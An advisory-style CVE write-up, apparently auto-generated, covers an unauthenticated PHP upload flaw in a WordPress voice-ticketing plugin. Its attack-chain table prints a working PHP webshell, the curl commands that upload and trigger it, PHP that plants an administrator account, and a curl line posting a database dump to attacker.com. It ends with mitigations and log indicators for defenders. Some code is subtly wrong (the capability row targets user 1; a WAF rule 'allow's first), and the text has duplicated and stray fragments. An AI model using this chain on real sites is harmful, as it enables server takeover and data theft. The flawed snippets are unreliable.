CVE-2026-143966 — CWE-434
Nik Voice Ticketing AI before 1.2.5 contains an unrestricted file upload vulnerability that allows unauthenticated attackers to upload PHP files via the /nikvotia/v1/submit REST route. Attackers can send a PHP file as the 'audio' parameter with an audio Content-Type, bypassing disabled type checks, then request it from wp-content/uploads to execute code as the web server user.
Nik Voice Ticketing AI before 1.2.5 contains an unrestricted file upload vulnerability that allows unauthenticated attackers to upload PHP files via the /nikvotia/v1/submit REST route. Attackers can send a PHP file as the 'audio' parameter with an audio Content-Type, bypassing disabled type checks, then request it from wp-content/uploads to execute code as the web server user.
🎯 What is this vulnerability?
CVE‑2026‑143966 is an unrestricted file‑upload flaw (CWE‑434) in Nik Voice Ticketing AI versions prior to 1.2.5.
The vulnerable endpoint is the REST route /nikvotia/v1/submit. The API accepts an audio field as a multipart/form‑data upload. The server:
1. Does not enforce MIME‑type validation – it accepts any audio/* content‑type, even if the payload contains PHP code.
2. Does not check the file extension – a file named shell.php is written to the WordPress upload directory (wp‑content/uploads) without any sanitisation.
3. Is publicly accessible – no authentication or authorization is required to hit the endpoint.
Because the uploaded file lands in a web‑accessible directory and is served with the same MIME type as the original upload, an attacker can execute arbitrary PHP code as the web‑server user. This gives full remote code execution (RCE) on the host.
The CVSS vector (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H) reflects that the flaw is unauthenticated, low‑complexity, no‑user‑interaction and leads to complete compromise of confidentiality, integrity, and availability.
⚡ Attack Chain
Below is a realistic, step‑by‑step chain that an attacker could use to exploit the flaw and achieve full control of the target web server.
| Step | Action | Technical Detail | Example / PoC |
|---|---|---|---|
| 1. Discovery & Reconnaissance | Identify the vulnerable application and version. | • Scan the target for the /nikvotia/v1/submit endpoint.<br>• Query the /nikvotia/v1/version (if available) or inspect HTTP headers for a X‑Nik‑Version cookie.<br>• Verify that the WordPress upload directory is publicly readable (wp‑content/uploads). | ``bash<br>curl -I https://example.com/nikvotia/v1/submit<br>curl https://example.com/nikvotia/v1/version<br>` |
| 2. Exploitation | Upload a malicious PHP file disguised as an audio file. | • Craft a multipart/form‑data POST with the audio field.<br>• Set the Content‑Type header of the part to a legitimate audio MIME type (e.g., audio/mpeg).<br>• Include PHP code in the payload (e.g., a simple webshell).<br>• The server writes the file to wp‑content/uploads without filtering. | `bash<br>cat <<'EOF' > /tmp/shell.php\n<?php\nif(isset($_GET['cmd'])){\n echo shell_exec($_GET['cmd']);\n}\n?>\nEOF\n\ncurl -X POST https://example.com/nikvotia/v1/submit \\\n -H \"Content-Type: multipart/form-data\" \\\n -F \"audio=@/tmp/shell.php;type=audio/mpeg\" \\\n -F \"ticket_id=12345\" \\\n -F \"description=Test\"\n`<br>Result: The file shell.php is stored under wp‑content/uploads/ and is accessible via HTTP. |
| 3. Post‑Exploitation – RCE | Execute the uploaded PHP file. | • Access the file via a browser or curl.<br>• Pass commands via the cmd GET parameter to spawn a shell. | `bash<br>curl 'https://example.com/wp-content/uploads/shell.php?cmd=whoami'\n`<br>Result: The server returns www-data (or whatever the web‑server user is), confirming RCE. |
| 4. Persistence & Privilege Escalation | Install a backdoor or create a new admin user. | • Use the webshell to write a new PHP file that creates a WordPress admin account.<br>• Or, modify the wp‑users table directly via the shell. | `php\n<?php\n// Create a new admin user\n$wpdb->insert('wp_users', array('user_login'=>'hacker','user_pass'=>md5('P@ssw0rd'),'user_nicename'=>'hacker','user_email'=>'[email protected]','user_status'=>0,'display_name'=>'hacker'));\n$wpdb->insert('wp_usermeta', array('user_id'=>1,'meta_key'=>'wp_capabilities','meta_value'=>'a:1:{s:13:\"administrator\";b:1;}'));\n?>\n` |
| 5. Data Exfiltration / Impact | Extract sensitive data or pivot to other systems. | • Use the shell to read database credentials from wp‑config.php.<br>• Dump the database, exfiltrate via HTTP POST to an attacker server.<br>• Pivot to internal network if the web server has lateral access. | `bash<br>curl -X POST -d @/tmp/db_dump.sql https://attacker.com/collect\n`` |
🌍 Real World Impact
| Impact | Description |
|---|---|
| Confidentiality (C:H) | Arbitrary PHP execution allows reading any file on the server, including database credentials, user data, and other sensitive files. |
| Integrity (I:H) | The attacker can modify or delete files, alter database records, or inject malicious code into the application. |
| Availability (A:H) | The attacker can crash the web server by deleting critical files, or launch a DoS by flooding the upload endpoint. |
Practical Consequences
- Full compromise of the web application and underlying server.
- Ability to create new admin accounts or backdoors, enabling long‑term persistence.
- Potential pivot to internal networks if the web server has privileged network access.
- Loss of trust and regulatory penalties if customer data is exposed.
🛡️ Remediation & Mitigation
1. Exact Affected Versions & Upgrade
| Product | Affected Versions | Fix |
|---|---|---|
| Nik Voice Ticketing AI | < 1.2.5 | Upgrade to 1.2.5 or later. The patch adds strict MIME‑type validation, disallows .php extensions, and requires authentication for the upload endpoint. |
Immediate Action:
If an upgrade is not possible, proceed with the workarounds below.
2. Workarounds & Mitigations
| Mitigation | How to Implement |
|---|---|
| Block PHP uploads via .htaccess | Add to the WordPress upload directory (wp‑content/uploads/.htaccess):<br>``<br><FilesMatch "\.php$"><br> Order Allow,Deny<br> Deny from all<br></FilesMatch><br>` |
| Restrict MIME types in the API | If you control the API code, enforce a whitelist:<br>`php\n$allowed = ['audio/mpeg','audio/wav','audio/ogg'];\nif(!in_array($_FILES['audio']['type'],$allowed)) die('Invalid MIME type');\n` |
| Require authentication | Add an API key or OAuth token check before processing the upload. |
| Disable the vulnerable endpoint | If the ticketing feature is not needed, comment out or remove the /nikvotia/v1/submit route. |
| Use a WAF / ModSecurity | Example rule to block PHP code in audio uploads:<br>`<br>SecRule REQUEST_HEADERS:Content-Type "audio/" "phase:2,pass,log,allow"<br>SecRule REQUEST_FILENAME "@rx \.php$" "phase:2,deny,log,msg:'Disallowed PHP upload'"<br>`` |
3. Detection & Indicators of Compromise (IoCs)
| Log Pattern | What to Look For |
|---|---|
| POST /nikvotia/v1/submit | Check for multipart/form‑data with audio field containing <?php. |
| **GET /wp‑content/uploads/*.php | Any request for a .php file in the uploads directory. |
| Apache/Nginx error logs | File upload failed: PHP file detected (if custom error handling). |
| ModSecurity logs** | SecRuleMatch: PHP file uploaded via audio MIME type. |
Sample Apache access log entry (indicative of exploitation):
192.0.2.1 - - [03/Dec/2026:12:34:56 +0000] "POST /nikvotia/v1/submit HTTP/1.1" 200 512 "-" "Mozilla/5.0"Sample Nginx access log entry (executed webshell):
192.0.2.1 - - [03/Dec/2026:12:35:10 +0000] "GET /wp-content/uploads/shell.php?cmd=whoami HTTP/1.1" 200 123 "-" "Mozilla/5.0"⚠️ Urgency
[🤖 CVE Professor AI Security Engine]
FOFA Query